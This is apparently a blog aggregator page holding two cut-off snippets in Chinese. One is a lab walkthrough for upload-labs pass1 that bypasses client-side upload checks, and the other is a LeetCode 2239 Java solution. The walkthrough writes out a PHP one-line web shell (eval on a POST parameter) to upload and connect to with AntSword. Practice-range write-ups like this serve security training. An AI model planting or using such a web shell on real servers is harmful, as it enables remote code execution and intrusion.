进入靶场 点击pass1 查看提示 既然是上传文件&#xff0c;先构造一句话木马&#xff0c;便于用蚁剑连接 <?php eval($_POST[123])?> 将这两处的检查函数删掉 再上传木马 文件后缀写为.php 右键复制图片地址 打开蚁剑连接 先点击测试连接&#xff0c;显示成功后&…...

Leetcode:2239

1&#xff0c;题目 2&#xff0c;思路 循环遍历满足条件就记录&#xff0c;最后返回结果值 3&#xff0c;代码 public class Leetcode2239 {public static void main(String[] args) {System.out.println(new Solution2239().findClosestNumber(new int[]{-4, -2, 1, 4, 8})…...